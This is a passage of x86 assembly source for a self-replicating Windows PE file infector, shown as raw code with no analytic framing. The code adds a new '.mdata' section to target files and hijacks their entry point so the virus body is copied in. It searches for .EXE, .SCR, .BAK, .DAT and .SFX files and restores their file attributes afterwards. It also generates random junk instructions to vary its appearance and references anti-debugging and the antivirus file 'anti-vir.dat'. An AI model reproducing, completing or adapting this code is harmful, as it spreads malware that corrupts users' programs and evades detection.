3 ;copy stage jmp if_n err_InfectFile: mov al, 4 mov [ebx + nclosefile_mode], al ;dendrit if_n: mov [ebx + nClF_synapse], offset pfNeuron_InfectFile ;synapse push [ebx + pfNeuron_CloseFile] call [ebx + ddSwitchToFiber] ;switch to neuron end_InfectFile: push [ebx + WFD.WFD_dwFileAttributes] lea esi, [ebx + WFD.WFD_szFileName] push esi call [ebx + ddSetFileAttributesA] ;set back file attributes end_IF: push [ebx + dwThreadID] nIF_synapse = dword ptr $ - 4 call [ebx + ddSwitchToFiber] ;jump to previous neuron jmp n_infectfile NextWayOfInfection: ;create new section mov edi, edx inc word ptr [edi.NT_FileHeader.FH_NumberOfSections] mov eax, [esi.SH_VirtualAddress - x] add eax, [esi.SH_VirtualSize - x] mov ecx, [edi.NT_OptionalHeader.OH_SectionAlignment] cdq div ecx test edx, edx je next_1 inc eax next_1: mul ecx mov [ebx + s_RVA], eax ;new RVA mov ecx, [ebx + Entrypoint] push ecx push [edi.NT_OptionalHeader.OH_AddressOfEntryPoint] pop [ebx + Entrypoint] mov [edi.NT_OptionalHeader.OH_AddressOfEntryPoint], eax ;new EP mov ecx, [edi.NT_OptionalHeader.OH_FileAlignment] mov eax, virtual_end - Start div ecx inc eax mul ecx mov [ebx + s_RAWSize], eax ;new SizeOfRawData add [edi.NT_OptionalHeader.OH_SizeOfImage], eax ;new SizeOfImageBase mov ecx, [ebx + WFD.WFD_nFileSizeLow] mov [ebx + s_RAWPtr], ecx ;new PointerToRawData push ecx mov edi, esi lea esi, [ebx + new_section] mov ecx, (IMAGE_SIZEOF_SECTION_HEADER+3)/4 rep movsd ;copy section pop ecx pop eax jmp copy_virus ;and copy virus body ni_seh: @SEH_RemoveFrame ;remove SEH frame popad jmp end_IF Neuron_InfectFile EndP ;------------------------------------------------------------------------------- one_byte: lea esi, [ebx + junx1] in al, 40h and al, num_junx1-1 add esi, eax movsb ret two_byte: lea esi, [ebx + junx2] in al, 40h and al, num_junx2-1 add esi, eax movsb in al, 40h and al, 7 add al, 11000000b stosb ret get_reg: in al, 40h and al, 7 je get_reg cmp al, 4 je get_reg ret mask_it: mov al, [edi] and al, 11111000b add al, dl stosb ret ;------------------------------------------------------------------------------- Neuron_Addresses: dd offset Neuron_Main dd offset Neuron_Debugger dd offset Neuron_FindFile dd offset Neuron_CheckFile dd offset Neuron_OpenFile dd offset Neuron_CloseFile dd offset Neuron_InfectFile num_of_neurons = (byte ptr $ - offset Neuron_Addresses) / 4 junx1: nop dec eax cmc inc eax clc cwde stc lahf num_junx1 = 8 junx2: db 8bh ;mov ..., ... db 03h ;add ..., ... db 13h ;adc ..., ... db 2dh ;sub ..., ... db 1bh ;sbb ..., ... db 0bh ;or ..., ... db 33h ;xor ..., ... db 23h ;and ..., ... db 33h ;test ..., ... num_junx2 = 9 junx3: db 0c1h, 0c0h ;rol eax, ... db 0c1h, 0e0h ;shl eax, ... db 0c1h, 0c8h ;ror eax, ... db 0c1h, 0e8h ;shr eax, ... db 0c1h, 0d0h ;rcl eax, ... db 0c1h, 0f8h ;sar eax, ... db 0c1h, 0d8h ;rcr eax, ... num_junx3 = 7 junx: irp Num, <1,2,3,4,5,6,7,8,9> dd offset @j&Num endm dd 0 GenerationCount dd ? Entrypoint dd offset ExitProcess - 400000h szExe db '*.EXE', 0 szScr db '*.SCR', 0 szBak db '*.BAK', 0 szDat db '*.DAT', 0 szSfx db '*.SFX', 0 num_of_exts = 5 dotdot db '..', 0 dtavTBAV db 'anti-vir.dat', 0 string_subs: ;string substitutes db 'File', 0 db 'Get', 0 db 'Set', 0 db 'Module', 0 db 'Handle', 0 db 'Create', 0 db 'Find', 0 db 'Close', 0 db 'ViewOf', 0 db 'CurrentDirectoryA', 0 db 'Fiber', 0 db 'Thread', 0 db 'Delete', 0 db 'Library', 0 new_section: s_name db '.mdata', 0, 0 s_vsize dd virtual_end - Start s_RVA dd 0 s_RAWSize dd 0 s_RAWPtr dd 0 dd 0, 0, 0 s_flags dd 0e0000000h virus_end: strings: szKernel32 db 'KERNEL32', 0 szKernel32W dw 'K','E','R','N','E','L','3','2', 0 szUser32 db 'USER32', 0 szGetModuleHandleA db 'GetModuleHandleA', 0 szGetModuleHandleW db 'GetModuleHandleW', 0 szAPIs: szCreateThread db 'CreateThread', 0 szWaitForSingleObject db 'WaitForSingleObject', 0 szCloseHandle db 'CloseHandle', 0 szConvertThreadToFiber db 'ConvertThreadToFiber', 0 szCreateFiber db 'CreateFiber', 0 szSwitchToFiber db 'SwitchToFiber', 0 szDeleteFiber db 'DeleteFiber', 0 szGetVersion db 'GetVersion', 0 szFindFirstFileA db 'FindFirstFileA', 0 szFindNextFileA db 'FindNextFileA', 0 szFindClose db 'FindClose', 0 szCreateFileA db 'CreateFileA', 0 szCreateFileMappingA db 'CreateFileMappingA', 0 szMapViewOfFile db 'MapViewOfFile', 0 szUnmapViewOfFile db 'UnmapViewOfFile', 0 szSetFileAttributesA db 'SetFileAttributesA', 0 szSetFilePointer db 'SetFilePointer', 0 szSetEndOfFile db 'SetEndOfFile', 0 szSetFileTime db 'SetFileTime', 0 szGetCurrentDirectoryA db 'GetCurrentDirectoryA', 0 szSetCurrentDirectoryA db 'SetCurrentDirectoryA', 0 szDeleteFileA db 'DeleteFileA', 0 szLoadLibraryA db 'LoadLibraryA', 0 szFreeLibraryA db 'FreeLibrary', 0 szIsDebuggerPresent db 'IsDebuggerPresent', 0 db 0ffh ddAPIs: ddCreateThread dd ? ddWaitForSingleObject dd ? ddCloseHandle dd ? ddConvertThreadToFiber dd ? ddCreateFiber dd ? ddSwitchToFiber dd ? ddDeleteFiber dd ? ddGetVersion dd ? ddFindFirstFileA dd ? ddFindNextFileA dd ? ddFindClose dd ? ddCreateFileA dd ? ddCreateFileMappingA dd ? ddMapViewOfFile dd ? ddUnmapViewOfFile dd ? ddSetFileAttributesA dd ? ddSetFilePointer dd ? ddSetEndOfFile dd ? ddSetFileTime dd ? ddGetCurrentDirectoryA dd ? ddSetCurrentDirectoryA dd ? ddDeleteFileA dd ? ddLoadLibraryA dd ? ddFreeLibraryA dd ? ddIsDebuggerPresent dd ? dwThreadID dd ? Fiber_Addresses: pfMain dd ? pfNeuron_Main dd ? pfNeuron_Debugger dd ? pfNeuron_FindFile dd ? pfNeuron_CheckFile dd ? pfNeuron_OpenFile dd ? pfNeuron_CloseFile dd ? pfNeuron_InfectFile dd ? hFile dd ? hMapFile dd ? lpFile dd ? SearchHandle dd ? CurDir db MAX_PATH dup (?) WFD WIN32_FIND_DATA ? buffer db virus_end - Start + 1 dup (?) virtual_end: _GetModuleHandleA dd offset GetModuleHandleA _GetModuleHandleW dd offset GetModuleHandleW ends End Start